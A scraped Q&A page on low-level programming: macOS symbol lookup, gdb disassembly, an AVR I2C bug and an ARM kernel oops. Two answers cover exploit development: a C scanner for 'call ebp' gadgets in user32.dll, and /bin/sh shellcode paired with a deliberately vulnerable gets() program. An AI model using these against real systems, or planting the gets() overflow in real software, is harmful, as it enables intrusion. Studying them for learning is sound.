how can I get the `__NSAutoreleaseNoPool` address? - macos

I tried with
extern void __NSAutoreleaseNoPool(void* obj);
but that results in an unresolved symbol when linking (not sure what Framework it needs, though).
I also tried
dlsym(RTLD_DEFAULT, "__NSAutoreleaseNoPool")
but that just gives be NULL.
And I tried with _dyld_lookup_and_bind and NSLookupSymbolInImage but they also don't work.
dsymutil and nm both find the symbol, though:
$ dsymutil -s --arch=x86_64
----------------------------------------------------------------------
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
----------------------------------------------------------------------
Symbol table for: '/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation' (x86_64)
----------------------------------------------------------------------
Index n_strx n_type n_sect n_desc n_value
======== -------- ------------------ ------ ------ ----------------
[ 0] 00010795 1e (PEXT SECT ) 01 0000 0000000000000000 '__mh_dylib_header'
[ 1] 000107a7 0e ( SECT ) 01 0000 0000000000001c20 '+[NSObject(NSObject) load]'
[ 2] 000107c2 0e ( SECT ) 01 0000 0000000000002630 '___exceptionInit'
[ 3] 000107d3 0e ( SECT ) 01 0000 00000000000029e0 '___CFgetenv'
[ 4] 000107df 0e ( SECT ) 01 0000 0000000000002a50 '___CFBaseInitialize'
...
[ 1923] 0001e820 0e ( SECT ) 01 0000 000000000010ad30 '___NSAutoreleaseNoPool'
...
$ nm -arch x86_64 /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
...
000000000010ad30 t ___NSAutoreleaseNoPool
...
(That is on MacOSX 10.6. On later MacOSX versions, the symbol really does not seem to exists, at least I cannot find any ref via grep in /usr/lib and /System/Library/Frameworks and also LLDB does not find it. Probably it was removed somehow with ARC.)
So, how can I get that address in my code?
(Related questions: here and here)
(My motivation to do this is here.)

This works:
#include <dlfcn.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#include <mach-o/dyld.h>
#include <mach-o/nlist.h>
#include <string.h>
#include <assert.h>
// Adapted from:
// https://github.com/0xced/iOS-Artwork-Extractor/blob/master/Classes/FindSymbol.c
// Adapted from MoreAddrToSym / GetFunctionName()
// http://www.opensource.apple.com/source/openmpi/openmpi-8/openmpi/opal/mca/backtrace/darwin/MoreBacktrace/MoreDebugging/MoreAddrToSym.c
void *FindSymbol(const struct mach_header *img, const char *symbol)
{
if ((img == NULL) || (symbol == NULL))
return NULL;
// only 64bit supported
#if defined (__LP64__)
if(img->magic != MH_MAGIC_64)
// we currently only support Intel 64bit
return NULL;
struct mach_header_64 *image = (struct mach_header_64*) img;
struct segment_command_64 *seg_linkedit = NULL;
struct segment_command_64 *seg_text = NULL;
struct symtab_command *symtab = NULL;
unsigned int index;
struct load_command *cmd = (struct load_command*)(image + 1);
for (index = 0; index < image->ncmds; index += 1, cmd = (struct load_command*)((char*)cmd + cmd->cmdsize))
{
switch(cmd->cmd)
{
case LC_SEGMENT_64: {
struct segment_command_64* segcmd = (struct segment_command_64*)cmd;
if (!strcmp(segcmd->segname, SEG_TEXT))
seg_text = segcmd;
else if (!strcmp(segcmd->segname, SEG_LINKEDIT))
seg_linkedit = segcmd;
break;
}
case LC_SYMTAB:
symtab = (struct symtab_command*)cmd;
break;
default:
break;
}
}
if ((seg_text == NULL) || (seg_linkedit == NULL) || (symtab == NULL))
return NULL;
unsigned long vm_slide = (unsigned long)image - (unsigned long)seg_text->vmaddr;
unsigned long file_slide = ((unsigned long)seg_linkedit->vmaddr - (unsigned long)seg_text->vmaddr) - seg_linkedit->fileoff;
struct nlist_64 *symbase = (struct nlist_64*)((unsigned long)image + (symtab->symoff + file_slide));
char *strings = (char*)((unsigned long)image + (symtab->stroff + file_slide));
struct nlist_64 *sym;
for (index = 0, sym = symbase; index < symtab->nsyms; index += 1, sym += 1)
{
if (sym->n_un.n_strx != 0 && !strcmp(symbol, strings + sym->n_un.n_strx))
{
unsigned long address = vm_slide + sym->n_value;
if (sym->n_desc & N_ARM_THUMB_DEF)
return (void*)(address | 1);
else
return (void*)(address);
}
}
#endif
return NULL;
}
typedef void (*NSAutoreleaseNoPoolFunc) (void* obj);
void getNSAutoreleaseNoPool() {
const struct mach_header* img = NSAddImage("/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation", NSADDIMAGE_OPTION_NONE);
NSAutoreleaseNoPoolFunc f = (NSAutoreleaseNoPoolFunc) FindSymbol((struct mach_header*)img, "___NSAutoreleaseNoPool");
printf("func: %p\n", f);
if(f) {
NSObject* foo = [[NSObject alloc] init];
f(foo);
}
}
It gets the same function pointer as within GDB.
Note that you wont see the common NSAutoreleaseNoPool log:
2014-02-18 14:46:26.583 a.out[24989:a0b] *** __NSAutoreleaseNoPool(): Object 0x7fff71154190 of class NSCFString autoreleased with no pool in place - just leaking
The standard backtrace, when that happens, is this:
(gdb) bt
#0 0x00007fff8724bd34 in __NSAutoreleaseNoPool ()
#1 0x00007fff87196e79 in _CFAutoreleasePoolAddObject ()
#2 0x00007fff87196be6 in -[NSObject(NSObject) autorelease] ()
The actual NSLog call is done in _CFAutoreleasePoolAddObject.
A note about __NSAutoreleaseNoPool, from Foundation/NSDebug.h:
/**************** Autorelease pool debugging ****************/
// Functions used as interesting breakpoints in a debugger
// void __NSAutoreleaseNoPool(void *object);
// Called to log the "Object X of class Y autoreleased with no
// pool in place - just leaking" message. If an environment
// variable named "NSAutoreleaseHaltOnNoPool" is set with string
// value "YES", the function will automatically break in the
// debugger (or terminate the process).
// void __NSAutoreleaseFreedObject(void *freedObject);
// Called when a previously freed object would be released
// by an autorelease pool. If an environment variable named
// "NSAutoreleaseHaltOnFreedObject" is set with string value
// "YES", the function will automatically break in the debugger
// (or terminate the process).
So, if you want to debug such cases, either start up GDB and issue b __NSAutoreleaseNoPool to setup the breakpoint on this function. Or do an export NSAutoreleaseHaltOnNoPool=1 in your shell.
__NSAutoreleaseNoPool is pretty simple:
(gdb) disassemble
Dump of assembler code for function __NSAutoreleaseNoPool:
0x00007fff8724bd30 <__NSAutoreleaseNoPool+0>: push %rbp
0x00007fff8724bd31 <__NSAutoreleaseNoPool+1>: mov %rsp,%rbp
0x00007fff8724bd34 <__NSAutoreleaseNoPool+4>: nop
0x00007fff8724bd35 <__NSAutoreleaseNoPool+5>: nopl 0x0(%rax)
0x00007fff8724bd39 <__NSAutoreleaseNoPool+9>: lea 0x2ced8(%rip),%rdi # 0x7fff87278c18 <__PRETTY_FUNCTION__.27904+480>
0x00007fff8724bd40 <__NSAutoreleaseNoPool+16>: callq 0x7fff871439e0 <__CFgetenv>
0x00007fff8724bd45 <__NSAutoreleaseNoPool+21>: test %rax,%rax
0x00007fff8724bd48 <__NSAutoreleaseNoPool+24>: je 0x7fff8724bd55 <__NSAutoreleaseNoPool+37>
0x00007fff8724bd4a <__NSAutoreleaseNoPool+26>: movzbl (%rax),%eax
0x00007fff8724bd4d <__NSAutoreleaseNoPool+29>: cmp $0x59,%al
0x00007fff8724bd4f <__NSAutoreleaseNoPool+31>: je 0x7fff8724bd60 <__NSAutoreleaseNoPool+48>
0x00007fff8724bd51 <__NSAutoreleaseNoPool+33>: cmp $0x79,%al
0x00007fff8724bd53 <__NSAutoreleaseNoPool+35>: je 0x7fff8724bd60 <__NSAutoreleaseNoPool+48>
0x00007fff8724bd55 <__NSAutoreleaseNoPool+37>: leaveq
0x00007fff8724bd56 <__NSAutoreleaseNoPool+38>: retq
0x00007fff8724bd57 <__NSAutoreleaseNoPool+39>: nopw 0x0(%rax,%rax,1)
0x00007fff8724bd60 <__NSAutoreleaseNoPool+48>: int3
0x00007fff8724bd61 <__NSAutoreleaseNoPool+49>: callq 0x7fff872609c2 <dyld_stub_getpid>
0x00007fff8724bd66 <__NSAutoreleaseNoPool+54>: mov %eax,%edi
0x00007fff8724bd68 <__NSAutoreleaseNoPool+56>: mov $0x9,%esi
0x00007fff8724bd6d <__NSAutoreleaseNoPool+61>: leaveq
0x00007fff8724bd6e <__NSAutoreleaseNoPool+62>: jmpq 0x7fff87260a16 <dyld_stub_kill>
0x00007fff8724bd73 <__NSAutoreleaseNoPool+67>: nopw 0x0(%rax,%rax,1)
0x00007fff8724bd79 <__NSAutoreleaseNoPool+73>: nopl 0x0(%rax)
End of assembler dump.
For a practical example, see demo_NSAutoreleaseNoPool.mm.

Related

How to show const variable name in disassemble'd code in gdb?

I have the following code which is compiled with -g option.
$ cat main.c
/* vim: set noexpandtab tabstop=2: */
#include <stdio.h>
int U_var;
int I_var=42;
const int C_var=2;
static void inc_U_var() {
U_var+=C_var;
}
void inc_I_var() {
I_var+=C_var;
}
int main() {
inc_U_var();
inc_I_var();
return 0;
}
In gdb, the constant C_var is shown as $2. Is there a way to preserve the const variable name in the disassembly code? Thanks.
(gdb) disassemble inc_I_var
Dump of assembler code for function inc_I_var:
0x0000000100000ec0 <+0>: push %rbp
0x0000000100000ec1 <+1>: mov %rsp,%rbp
0x0000000100000ec4 <+4>: mov 0x156(%rip),%eax # 0x100001020 <I_var>
0x0000000100000eca <+10>: add $0x2,%eax
0x0000000100000ecd <+13>: mov %eax,0x14d(%rip) # 0x100001020 <I_var>
0x0000000100000ed3 <+19>: pop %rbp
0x0000000100000ed4 <+20>: retq
End of assembler dump.
(gdb) list inc_I_var
7
8 static void inc_U_var() {
9 U_var+=C_var;
10 }
11
12 void inc_I_var() {
13 I_var+=C_var;
14 }
15
16 int main() {
How to show const variable name in disassemble'd code in gdb?
You cannot : at compile time the const int C_vars is replaced by its value, so in the assembler you have $2 rather than an access to C_var, gdb has no way to know where 2 comes from

How to interface LM75A temperature IC with AVR

I am trying to get the temperature data of LM75A which is connected to atmega8 microcontroller using i2c, and display the data to docklight using serial communication. I have written the code and the output I am getting is
FF 7F 0F
According to the datasheet, if I ignore FF then 7F 0F will lead to +125 C temperature. But i dont know if its right or wrong(and why to ignore FF). So i am confused in cracking the output I am getting. The code which I think is correct but if it is wrong please correct it.
CODE:
#ifndef F_CPU
#define F_CPU 8000000UL
#endif
#include <avr/io.h>
#include<util/delay.h>
#include <stdio.h>
//Serial tansmit
void serial_avr(char *str)
{
UCSRB=(1<<TXEN);
UCSRC=(1<<UCSZ1)|(1<<UCSZ0)|(1<<URSEL);
UBRRL=51;
for (unsigned int i=0;str[i]!=0;i++)
{
UDR=str[i];
while(!(UCSRA&(1<<UDRE)));
}
_delay_ms(500);
}
void i2c_init(void)
{
TWSR=0x00;
TWBR=0x47;
TWCR=0x04;
}
void i2c_start(void)
{
TWCR = (1 << TWINT) | (1 << TWSTA) | (1 << TWEN);
while ((TWCR & (1 << TWINT)) == 0);
}
void i2c_write(unsigned char data)
{
TWDR = data ;
TWCR = (1<< TWINT)|(1<<TWEN);
while ((TWCR & (1 <<TWINT)) == 0);
}
unsigned char i2c_read(unsigned char ackVal)
{
TWCR = (1<< TWINT) | (1<<TWEN) | (ackVal<<TWEA);
while (!(TWCR & (1 <<TWINT)));
return TWDR ;
}
void i2c_stop()
{
TWCR = (1<< TWINT)|(1<<TWEN)|(1<<TWSTO);
}
void main(void)
{
int i =23;
unsigned char temp[20];
i2c_init();
i2c_start();
i2c_write(0b10010001); //slave address for LM75A
i2c_stop();
i2c_init();
i2c_start();
i2c_write(0b00000000); //pointer register address of LM75A
i2c_stop();
i2c_init();
i2c_start();
temp[20] = i2c_read(1);
i2c_stop();
while(1)
{
serial_avr(temp);
_delay_ms(2000);
}
}
I am reading the temperature in array and I am getting the output as FF 7F 0F and when I initialise it as a normal char variable then I am getting the output as C4. I am confused, i dont know where I am missing the point. If there is any error in the code then please tell me and how to crack the output.??
Please help, thanks.!
The first obvious error is how you treat the array temp[20].
You only read one byte from the sensor, but then write the value off the end of the array. (The only valid spots in the array are temp[0] to temp[19]. temp[20] is past the memory allocated.) You should be reading 3 bytes from the sensor and storing them at temp[0] to temp[2].
The next error with temp is how you write it out over the serial. You should be writing all the bytes of the array, not all the bytes until a 0. You don't know the last byte of the array is 0, because it never had a string in it. A convenient thing to do would be to #define a value for the length of the array so you could refer to it in the declaration of the array and in the write function.
Until you fix these problems, it is hard to tell if the rest is working. I don't see how you can even know that the values form the sensor are FF 7F 0F.

How to find the in-memory address of a specific instruction in a DLL

How can I find the in-memory address (for exploit writing) of a specific instruction?
Specifically, I'm looking for a call ebp instruction in user32.dll on Windows XP with no Service Pack whose address I can point EIP to. I have both Immunity Debugger and OllyDBG installed on the target.
To find an instruction, you need to figure out where the code, .text, section starts and ends, then load the DLL and just do liner search until you find the instruction.
Here we have a test DLL that has two call ebp instructions:
// test.c
// gcc -Wall -shared test.c -o test.dll
#include <stdio.h>
__declspec(dllexport) void test(void) {
asm("call *%ebp");
puts("test");
asm("call *%ebp");
}
Compile it and load the DLL in ollydbg and click CTRL+F and search for CALL EBP:
6BEC125A |. FFD5 CALL EBP
6BEC125C |. C70424 6430EC6> MOV DWORD PTR SS:[ESP],test.6BEC3064 ; |ASCII "test"
6BEC1263 |. E8 74060000 CALL <JMP.&msvcrt.puts> ; \puts
6BEC1268 |. FFD5 CALL EBP
you see the address of the first instruction is at 0x6bec125a the second at 0x6bec1268. The opcode of call ebp is 0xff 0xd5, remember this.
Now we need to find the boundaries of the code, you can use objdump with -h:
> objdump --headers test.dll
test.dll: file format pei-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000984 6bec1000 6bec1000 00000600 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE, DATA
1 .data 00000008 6bec2000 6bec2000 00001000 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .rdata 0000011c 6bec3000 6bec3000 00001200 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
....
>
the code starts at VMA, virtual memory address, 0x6bec1000 and its size is 0x984, so it ends at 0x6bec1000 + 0x984 = 0x6bec1984 as :
0x6bec1000
....
what is between are the DLL instructions
....
0x6bec1984
I hope that was clear so far.
If we want to code our call ebp scanner, we need to do the flowing:
Read the PE information and get the executable section information, usually .text, to find its relative address and its virtual size.
Load the DLL using LoadLibrary, it will return the base address of the DLL.
The virtual address of the beginning of the code section is: DLL base address + code section virtualAddress and it ends at DLL base address + code section virtualAddress + VirtualSize.
Now we are ready to loop through the code and look for 0xff 0xd5, call ebp's opcode, simple liner search.
Here is a simple implementation:
// findopcode.c
// gcc -Wall findopcode.c -o findopcode
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
const char opcode[] = {0xff, 0xd5}; // The opcode of `call ebp'
FILE *dllFile;
HMODULE dllHandle;
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS NtHeaders;
IMAGE_SECTION_HEADER sectionHeader;
unsigned int i;
unsigned char *starAddr;
unsigned char *endAddr;
if( argc < 2 ) {
printf("usage: %s [DLL]\n", argv[0]);
return -1;
}
if( ( dllFile = fopen(argv[1], "rb") ) == NULL ) {
perror("[!] Error");
return -1;
}
// Read the basic PE headers
fread(&dosHeader, sizeof(dosHeader), 1, dllFile);
fseek(dllFile, dosHeader.e_lfanew, SEEK_SET);
fread(&NtHeaders, sizeof(NtHeaders), 1, dllFile);
// Search for the executable section, .text section.
for( i = 0 ; i < NtHeaders.FileHeader.NumberOfSections ; i++ ) {
fread(&sectionHeader, sizeof(sectionHeader), 1, dllFile);
// If we found a section that contains executable code,
// we found our code setion.
if( (sectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) != 0 ) {
printf("[*] Code section: `%s'\n", sectionHeader.Name);
break;
}
}
fclose(dllFile);
// Load the DLL to get it's base address
if( (dllHandle = LoadLibraryA(argv[1])) == NULL ) {
printf("[!] Error: loading the DLL, 0x%.8x\n", (unsigned int) GetLastError());
return -1;
}
// The code start at : base address + code virtual address
starAddr = (unsigned char *) dllHandle + sectionHeader.VirtualAddress;
// It ends at : base address + code virtual address + virtual size
endAddr = (unsigned char *) starAddr + sectionHeader.Misc.VirtualSize;
printf("[*] Base address : 0x%.8x\n", (unsigned int) dllHandle);
printf("[*] Start address: 0x%.8x\n", (unsigned int) starAddr);
printf("[*] End address : 0x%.8x\n", (unsigned int) endAddr);
// Simple liner search, when ever we find `0xff 0xd5' we print that address
for( endAddr -= sizeof(opcode) ; starAddr < endAddr ; starAddr++ ) {
if( memcmp(&opcode, (void *) starAddr, sizeof(opcode)) == 0 ) {
printf("[*] Found `call ebp` at: 0x%.8x\n", (unsigned int) starAddr);
}
}
FreeLibrary(dllHandle);
return 0;
}
Compile it and test it with that DLL:
> gcc -Wall findopcode.c -o findopcode
> findopcode.exe test.dll
[*] Code section: `.text'
[*] Base address : 0x6bec0000
[*] Start address: 0x6bec1000
[*] End address : 0x6bec1984
[*] Found `call ebp` at: 0x6bec125a
[*] Found `call ebp` at: 0x6bec1268
>
It works pretty well, let's try user32.dll:
> findopcode.exe \Windows\System32\user32.dll
[*] Code section: `.text'
[*] Base address : 0x75680000
[*] Start address: 0x75681000
[*] End address : 0x756e86ef
[*] Found `call ebp` at: 0x756b49b5
>
I only found one call ebp at 0x756b49b5. Note, you way want to check if you have a read access before you read with memcmp using IsBadReadPtr:
if( IsBadReadPtr(starAddr, sizeof(opcode)) == 0 &&
memcmp(&opcode, (void *) starAddr, sizeof(opcode)) == 0 ) {
so the program won't fail if you hit some area with some weird access.
An alternative way is to use the msfpescan from the metasploit framework:
msfpescan -j ebp user32.dll

Kernel oops Oops: 80000005 on arm embedded system

Please help me to solve this Oops. I use a 1 milli sec high resolution timer and installing it as a seperate module with "insmod". This fires every 1 ms and i have to do some task with this timer interrupt. There are other processes which does image transfer and i see ethernet driver interrupt appearing to send the image. This enet interrupt is having some high priority and looks like it is delaying the 1 ms timer interrupt above, but i am not sure.
I see the below Oops after running test for 3 to 3 hours. How to root cause this ?
please help.
The system is ARM omap, running Linux 2.6.33 cross compiled.
[root#user:/]#
Unable to handle kernel paging request at virtual address 7eb52754
pgd = 80004000
[7eb52754] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT
last sysfs file: /sys/devices/virtual/spi/spi/dev
Modules linked in: mod timermod mod2(P) mod3(P) mod4
CPU: 0 Tainted: P (2.6.33_appl #1)
PC is at 0x7eb52754
LR is at walk_stackframe+0x24/0x40
pc : [<7eb52754>] lr : [<8002d4dc>] psr: a0000013
sp : 80395f10 ip : 80395f30 fp : 80395f2c
r10: 0000001f r9 : 00000000 r8 : 87a25200
r7 : 878b0380 r6 : 80395f40 r5 : 80028374 r4 : 80395f30
r3 : 80000100 r2 : 80395f40 r1 : 80395f40 r0 : 80395f30
Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel
Control: 10c5387d Table: 86fb0019 DAC: 00000017
Process swapper (pid: 0, stack limit = 0x803942e8)
Stack: (0x80395f10 to 0x80396000)
5f00: 8002bfa4 00000001 802c678c 87a25380
5f20: 80395f54 80395f30 8002bfe0 8002d4c4 80395f54 80395f30 8004998c 8002bfa4
5f40: 00000002 00000002 80395f6c 80395f58 8004998c 8002bfb0 80396ea8 80394000
5f60: 80395fa4 80395f70 802c678c 800498d0 8002b320 80023218 80398408 80021e10
5f80: 80394000 8002321c 80023218 80398408 80021e10 413fc082 80395fbc 80395fa8
5fa0: 8002b324 802c62fc 803f4cc8 803f5190 80395fcc 80395fc0 802c3ee4 8002b28c
5fc0: 80395ff4 80395fd0 8000897c 802c3e6c 800084fc 00000000 00000000 8002321c
5fe0: 10c53c7d 803c7630 00000000 80395ff8 80008034 80008754 00000000 00000000
Backtrace:
[<8002d4b8>] (walk_stackframe+0x0/0x40) from [<8002bfe0>] (return_address+0x3c/0x5c)
r6:87a25380 r5:802c678c r4:00000001 r3:8002bfa4
[<8002bfa4>] (return_address+0x0/0x5c) from [<8004998c>] (sub_preempt_count+0xc8/0xfc)
[<800498c4>] (sub_preempt_count+0x0/0xfc) from [<802c678c>] (schedule+0x49c/0x4d8)
r5:80394000 r4:80396ea8
[<802c62f0>] (schedule+0x0/0x4d8) from [<8002b324>] (cpu_idle+0xa4/0xbc)
r9:413fc082 r8:80021e10 r7:80398408 r6:80023218 r5:8002321c
r4:80394000
[<8002b280>] (cpu_idle+0x0/0xbc) from [<802c3ee4>] (rest_init+0x84/0xa0)
r4:803f5190 r3:803f4cc8
[<802c3e60>] (rest_init+0x0/0xa0) from [<8000897c>] (start_kernel+0x234/0x284)
[<80008748>] (start_kernel+0x0/0x284) from [<80008034>] (__enable_mmu+0x0/0x2c)
Code: bad PC value
---[ end trace 7e26218fd59f68a5 ]---
Kernel panic - not syncing: Attempted to kill the idle task!
Backtrace:
[<8002db2c>] (dump_backtrace+0x0/0x114) from [<802c610c>] (dump_stack+0x20/0x24)
r6:fffffffc r5:0000000b r4:803c8518 r3:00000002
[<802c60ec>] (dump_stack+0x0/0x24) from [<802c6168>] (panic+0x58/0x130)
[<802c6110>] (panic+0x0/0x130) from [<80057330>] (do_exit+0x7c/0x6e0)
r3:80394000 r2:00000000 r1:80395d28 r0:80348e90
[<800572b4>] (do_exit+0x0/0x6e0) from [<8002dfc0>] (die+0x290/0x2c4)
r7:7eb52744
[<8002dd30>] (die+0x0/0x2c4) from [<8002f4d4>] (__do_kernel_fault+0x74/0x84)
r7:80395ec8
[<8002f460>] (__do_kernel_fault+0x0/0x84) from [<8002f6bc>] (do_page_fault+0x1d8/0x1f0)
r7:00000000 r6:80395ec8 r5:7eb52754 r4:80396ea8
[<8002f4e4>] (do_page_fault+0x0/0x1f0) from [<8002f794>] (do_translation_fault+0x20/0x80)
[<8002f774>] (do_translation_fault+0x0/0x80) from [<80029250>] (do_PrefetchAbort+0x44/0xa8)
r6:7eb52754 r5:80398820 r4:00000005 r3:8002f774
[<8002920c>] (do_PrefetchAbort+0x0/0xa8) from [<80029d1c>] (__pabt_svc+0x5c/0xa0)
Exception stack(0x80395ec8 to 0x80395f10)
5ec0: 80395f30 80395f40 80395f40 80000100 80395f30 80028374
5ee0: 80395f40 878b0380 87a25200 00000000 0000001f 80395f2c 80395f30 80395f10
5f00: 8002d4dc 7eb52754 a0000013 ffffffff
r7:878b0380 r6:80395f40 r5:80395efc r4:ffffffff
[<8002d4b8>] (walk_stackframe+0x0/0x40) from [<8002bfe0>] (return_address+0x3c/0x5c)
r6:87a25380 r5:802c678c r4:00000001 r3:8002bfa4
[<8002bfa4>] (return_address+0x0/0x5c) from [<8004998c>] (sub_preempt_count+0xc8/0xfc)
[<800498c4>] (sub_preempt_count+0x0/0xfc) from [<802c678c>] (schedule+0x49c/0x4d8)
r5:80394000 r4:80396ea8
[<802c62f0>] (schedule+0x0/0x4d8) from [<8002b324>] (cpu_idle+0xa4/0xbc)
r9:413fc082 r8:80021e10 r7:80398408 r6:80023218 r5:8002321c
r4:80394000
[<8002b280>] (cpu_idle+0x0/0xbc) from [<802c3ee4>] (rest_init+0x84/0xa0)
r4:803f5190 r3:803f4cc8
[<802c3e60>] (rest_init+0x0/0xa0) from [<8000897c>] (start_kernel+0x234/0x284)
[<80008748>] (start_kernel+0x0/0x284) from [<80008034>] (__enable_mmu+0x0/0x2c)
=========================================
#include <linux/hrtimer.h>
#include <linux/module.h>
#include <linux/ktime.h>
#include <linux/kdev_t.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/wait.h>
#include <linux/sched.h>
#define FIRST_MINOR 0
#define MINOR_CNT 1
static struct class *cl;
static struct cdev cdev;
static dev_t dev;
static u8 timer_expired = 0;
static wait_queue_head_t wq_head;
static struct hrtimer timer;
static ssize_t hr_read(struct file *f, char * __user buff, size_t cnt, loff_t *off)
{
wait_event_interruptible(wq_head, timer_expired);
timer_expired = 0;
return 0;
}
static int hr_open(struct inode *i, struct file *f)
{
ktime_t ktime;
ktime.tv64 = 1E6L;
hrtimer_start(&timer, ktime, HRTIMER_MODE_REL);
return 0;
}
static int hr_close(struct inode *i, struct file *f)
{
if (hrtimer_cancel(&timer))
printk(KERN_INFO "timercancelled\n");
return 0;
}
static struct file_operations hr_fops = {
.read = hr_read,
.open = hr_open,
.release = hr_close
};
static enum hrtimer_restart timer_callback(struct hrtimer *timer)
{
ktime_t ktime;
u64 overrun;
ktime.tv64 = 1E6L;
//printk("KERN_INFO""Timer Expired");
overrun = hrtimer_forward_now(timer, ktime);
timer_expired = 1;
wake_up_interruptible(&wq_head);
return HRTIMER_RESTART;
}
#if 1
static int init_hrtimer(void)
{
ktime_t ktime;
unsigned long delay_in_ms = 500L;
printk(KERN_ERR "Timer being set up\n");
ktime = ktime_set(0,delay_in_ms*1E6L);
hrtimer_init(&timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
timer.function = &timer_callback;
printk(KERN_ERR "Timer starting to fire\n");
printk(KERN_ERR "in %ldms %ld\n", delay_in_ms, jiffies);
if (alloc_chrdev_region(&dev, FIRST_MINOR, MINOR_CNT, "Hr Timer") < 0)
{
return -1;
}
printk("Major Nr: %d\n", MAJOR(dev));
cdev_init(&cdev, &hr_fops);
if (cdev_add(&cdev, dev, MINOR_CNT) == -1)
{
unregister_chrdev_region(dev, MINOR_CNT);
return -1;
}
if ((cl = class_create(THIS_MODULE, "hrtimer")) == NULL)
{
cdev_del(&cdev);
unregister_chrdev_region(dev, MINOR_CNT);
return -1;
}
if (IS_ERR(device_create(cl, NULL, dev, NULL, "hrt%d", 0)))
{
class_destroy(cl);
cdev_del(&cdev);
unregister_chrdev_region(dev, MINOR_CNT);
return -1;
}
init_waitqueue_head(&wq_head);
return 0;
}
#endif
static void clean_hrtimer(void)
{
int cancelled = hrtimer_cancel(&timer);
if (cancelled)
printk(KERN_ERR "Timer still running\n");
else
printk(KERN_ERR "Timer cancelled\n");
device_destroy(cl, dev);
class_destroy(cl);
cdev_del(&cdev);
unregister_chrdev_region(dev, MINOR_CNT);
}
module_init(init_hrtimer);
module_exit(clean_hrtimer);
MODULE_LICENSE("GPL");
========================
I use the above code as a driver module and insert it with insmod. I expect this to fire every 1 ms and it works fine but once in a while when ehernet traffic is too high, it gives a kernel Oops as explained. Please check if the code is having any issues in it or not?
I checked the lsmod, and i see that all the 5 kernel modules (my own) are loaded between: 0x7f000000 to 0x7f02xxxx
mod at 0x7f020xxxx,
timermod at 0x7f01xxx,
mod2 at 0x7f01xxxx,
mod3 at 0x7f00xxxx,
mod4 at 0x7f000000.
There is no module loaded at oops address 0x7eb52754. I checked from /proc/kallsyms file to
verify this. How to check the mapping of 0x7eb5xxxx in to the source file? Where else can i get the data for this on system.
According to the error message, the code that caused this kernel panic resides at virtual address 0x7eb52754. Judging from the address (just below 0x8000000), I'm guessing this is the code segment of a kernel module - probably one of your own kernel modules.
To do a root cause analyses, load your (and all other) kernel modules in the same order as they were loaded when this panic occurred and observe their load address as printed by lsmod (or cat /proc/modules which is almost the same).
Using their code size and load address, calculate which module text segment resides at virtual address 0x7eb52754. The subtract 0x7eb52754 from the module load address.
What you will get is the offset into the module binary of the instruction that caused the panic.
Now use objdump on the kernel module binary and look for that offset, and check to which function it belong (this can also be done with add2line, if you have that too). This should point you to the function and even line number (if you have debug information) of the instruction that caused this panic.
good luck.

Buffer overflow with gets()

I'm trying to overflow buffer with my shellcode and I have a problems with gets().
If I overflow buffer with shellcode using strcpy() function - it's OK and I got a /bin/bash. But if I do the same with gets() function it shows me nothing. I tried ret2text attack with gets() and it works fine, bun if I try overflow with malicious code(shell) it doesn't work.
I turned off stack-protector (-fno-stack-protector), disabled ASLR (echo 0 > randomize_va_space), enabled stack execution (-z execstack)
here is shellcode
xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
here is vuln prog
#include <stdio.h>
#include <string.h>
int ask_user(void)
{
int ret;
char name[10];
printf("Your Name: ");
fflush(stdout);
gets(name);
ret = strcmp(name, "Peter");
if (ret == 0)
return 1;
return 0;
}
int main(int argc, char *argv[])
{
int is_peter;
printf("This Application finds the Peter!\n");
is_peter = ask_user();
if (is_peter == 1)
{
printf("Lol, you are a real Peter!\n");
return 0;
}
printf("Ups, no Peter :-/\n");
return 0;
}
some gdb
gdb$ si
--------------------------------------------------------------------------[regs]
EAX: 0x0000000B EBX: 0xBFFFEF22 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x41414141 ESP: 0xBFFFEF10 EIP: 0xBFFFEF1B
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xbfffef1b: int 0x80
0xbfffef1d: call 0xbfffef12
0xbfffef22: das
0xbfffef23: bound ebp,QWORD PTR [ecx+0x6e]
0xbfffef26: das
0xbfffef27: jae 0xbfffef91
0xbfffef29: add BYTE PTR [eax+ecx*1],al
0xbfffef2c: add BYTE PTR [eax],al
--------------------------------------------------------------------------------
0xbfffef1b in ?? ()
gdb$ x/1sb $ebx
0xbfffef22: "/bin/sh"
gdb$ x/1sb $esp
0xbfffef10: "ë\v[1À1É1Ò°\vÍ\200èð\377\377\377/bin/sh"
gdb$ si
process 3697 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Inferior 1 (process 3697) exited normally]
--------------------------------------------------------------------------[regs]
EAX:Error while running hook_stop:
No registers.
As you can see in debugger the shell is start and exit at the moment. When I used strcpy it start shell and not exit
There is a difference of behaviour between strcpy and gets.
You should try using something like this in order to let the stdin open :
(cat /tmp/yourbuffer;cat) | ./vuln

Resources